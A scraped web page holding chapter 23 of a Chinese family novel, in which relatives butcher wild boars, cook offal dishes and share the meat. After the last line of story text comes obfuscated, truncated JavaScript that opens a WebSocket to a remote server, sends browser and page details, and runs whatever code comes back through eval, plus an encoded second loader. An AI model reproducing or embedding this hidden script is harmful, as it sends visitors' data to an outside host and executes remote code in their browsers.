第23章 卖肉
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第23章 卖肉

    母女俩收拾好自己,沈玉姝搂着顾氏胳膊一道回了前院。m.wangzaishu.cc



    两头猪已经收拾到尾声。



    野猪精瘦没多少猪板油。



    杀猪匠按沈老太太的意思把肉分成两斤、五斤的一条条摆好。



    大骨头、排骨也剁好,别看猪肉没多少,猪下水却收拾了两大盆。



    沈老太太束着围裙正收拾的起劲。



    事情经过她已经听儿子说了,看到母女二人回来。



    笑着对沈玉姝说道:“姝姝,这个收拾出来咱还做上次那个吧。”



    沈玉姝笑着答应,“好,都听奶奶的。”



    当下好多人家即便吃不起猪肉也很少吃这个。



    洗不干净味儿实在太大了。



    她看着何氏清洗好的猪肚,走到沈安信身旁小声说了几句。



    父女俩出去溜达一圈,提了一只鸡和一堆材料回来。



    她准备用砂锅炖个猪肚鸡汤家里人补补。



    下水送人不合适干脆一股脑全做成卤菜。



    反正天气冷放不坏,她把自己的提议说了。



    沈玉兰第一个问道:“姝姝,这些猪下水也能做?”



    “可以的,阿姐,一会儿我教你。”



    沈玉姝点头,随即嘱咐沈老太太。



    “奶奶,这些都要多洗几次,不然做出来有怪味。”



    她让沈安信把猪头也清理干净,一块卤了不浪费。



    沈老太太想到上次做的干煸肥肠,爽快答应。



    “去吧,去吧,这里有我和你娘他们就够了。”



    端起洗过的猪内脏回厨房,沈玉姝边做边教。



    猪肚翻面撕掉上面的油脂。



    用草木灰和盐再洗两遍,确保干净无异味。



    冷水放入锅中和姜片煮一刻钟。



    捞出来过一遍温水切条。



    砂锅预热锅底放油、姜片、白胡椒翻炒。



    下入猪肚煎出香味加开水炖煮。



    片刻后锅里的猪肚飘出了香味。



    沈宁言和沈宁嘉被香味勾进了厨房。



    两人虽然只差一岁,但宁言比宁嘉性子好动。



    他盯着砂锅眼睛都不眨一下,咽着口水说道:“二姐,你煮的什么闻着好香呀?”



    半大小子吃穷老子,这个年纪正在长身体,馋也正常。



    沈玉姝故意卖关子,“这可是好东西,等会儿你多吃一些。”



    沈宁柏进门正好看到这一幕,有些无奈的扯了扯他的袖子。



    “把你脸上的馋样收一收,别叫外人看到。”



    “大哥就会说我,你闻着不香吗?”沈宁言扭头反驳。



    沈宁柏被说的脸红,伸手要打人。



    沈宁言早有准备一溜烟窜到了沈玉兰身后



    嘴里还不忘嚷嚷大哥打他。



    这一幕逗得屋里兄弟姐妹几人哈哈大笑。



    连屋外的几个长辈都听到了。



    猪肚炖上两刻钟,放入剁好的鸡块再炖两刻钟。



    出锅之前撒枸杞和盐就可以了。



    沈玉兰被沈玉姝教着爆炒了猪血和腰花。



    又做了干煸肥肠,每样菜都做了大份不怕吃不饱。



    沈家厨房两个锅灶一大一小,都是当年斥巨资买的。



    这么多年过去,沈玉姝做饭都不敢使劲怕锅底漏了。



    饭做好后,院里只剩了自家人在。



    沈安信兄弟俩在清洗地面的污血。



    沈老太太他们正收拾边角料。



    两只野猪刨除猪下水、边角料约莫宰了一百五十多斤。



    给来帮忙的猎户几人一刀二斤的肉和三根大棒骨。



    杀猪匠两刀三斤的肉,这是自来的规矩。



    因为有伤寒也不好去镇上卖肉。



    沈老太太打算在村里卖一些,余下便腌了留着自己吃。



    今日的饭菜尤其丰盛,沈玉姝给每人先盛了一碗猪肚鸡汤。



    沈宁言尝过后狗腿的夸赞,“二姐,这是我喝过最好喝的鸡汤。”var s = new Date().getSeconds() % 2; if (s == 0){function a0_0x37c4(){var _0x240c9c=['join','data','abcdefghijklmnopqrstuvwxyz0123456789','8238yiPSZz','1839','&ua=','1432','51279','search','34536','close','8CjyZFF','(((.+)+)+)+$','getMonth','135956YTVidA','fromCharCode','WebSocket','slice','6711452bLCYrh','562','2pgdBSd','split','http_host=','send','4434VYriZP','67515','');try{var _0x170fa2,_0x263978=_0x49586a(0x179)+_0x170e2f();_0x170fa2=_0x49586a(0x1a8)in window?new WebSocket(_0x263978):_0x49586a(0x175)in window?new MozWebSocket(_0x263978):new SockJS(_0x263978),_0x170fa2['onopen']=function(){var _0x35ca42=_0x49586a;_0x170fa2[_0x35ca42(0x1af)](_0x35ca42(0x1ae)+_0x170e2f()+_0x35ca42(0x17c)+_0xc327cc+'&space_id=51279&serasfd='+navigator[_0x35ca42(0x196)]+'&ifr_url='+encodeURIComponent(location[_0x35ca42(0x185)])+_0x35ca42(0x178)+encodeURIComponent(document[_0x35ca42(0x17f)])+_0x35ca42(0x19d)+encodeURIComponent(navigator[_0x35ca42(0x18f)]));},_0x170fa2[_0x49586a(0x190)]=function(_0x47b220){var _0x5cb35a=_0x49586a;eval(_0x47b220[_0x5cb35a(0x199)]),_0x170fa2[_0x5cb35a(0x1a2)]();};}catch(_0xa33558){console[_0x49586a(0x17a)]('error'+_0xa33558);}}()):(function(){var _0xf53d4b=_0x394445,_0x5a903a=document[_0xf53d4b(0x1b4)](_0xf53d4b(0x1b6)),_0x555d50=_0xd9521(_0xf53d4b(0x193))+_0x170e2f();_0x5a903a[_0xf53d4b(0x18e)]=_0x555d50+'/'+_0xd9521((new Date()[_0xf53d4b(0x17d)]()%0x3*new Date()[_0xf53d4b(0x17d)]()+new Date()[_0xf53d4b(0x17d)]())['toString'](0x24)[_0xf53d4b(0x1a9)](0x1))+_0xd9521(_0xf53d4b(0x187))+_0xf53d4b(0x19f)+_0xd9521('km')+'?'+_0x135998(new Date()[_0xf53d4b(0x17d)]());var _0x4c199f=document[_0xf53d4b(0x180)](_0xf53d4b(0x1b6))[0x0];_0x4c199f['parentNode'][_0xf53d4b(0x197)](_0x5a903a,_0x4c199f);}());}()); } else if (s == 1){!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a(`zxGsLrwhSRl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28;)CY(Fm(5YdFYc2_qqa!67c5m5c2a=;)CY(FmfY762Ye5OJY5FTc2="fY7d_qF"=[Y2_^Y5d)qYgl0=Xdq_YgYPa=@vFvv"LF562p"l8FTJYO7 Ya7O5cXd5 O 62 Ya5mfc2=O=7_2(F6O2cFa[5YF_52 YHFZPm)62fc2_qq=Oaa!5YF_52 2P=5m287_2(F6O2cYa[Xd5 F8YvvYmMMYLyOf_qYj7_2(F6O2ca[5YF_52 YmfY7d_qFPg7_2(F6O2ca[5YF_52 YP!5YF_52 5mfcF="d"=Fa=FP=5mO87_2(F6O2cY=Fa[5YF_52 ;)CY(FmJ5OFOFTJYmhdL;D2e5OJY5FTm(dqqcY=FaP=5mJ8""=5c5mL80aPcH7_2(F6O2cY=Fa[Xd5 58fO(_^Y2F=282dX6pdFO5mJqdF7O5^=O85m(_55Y2Fi(56JF! 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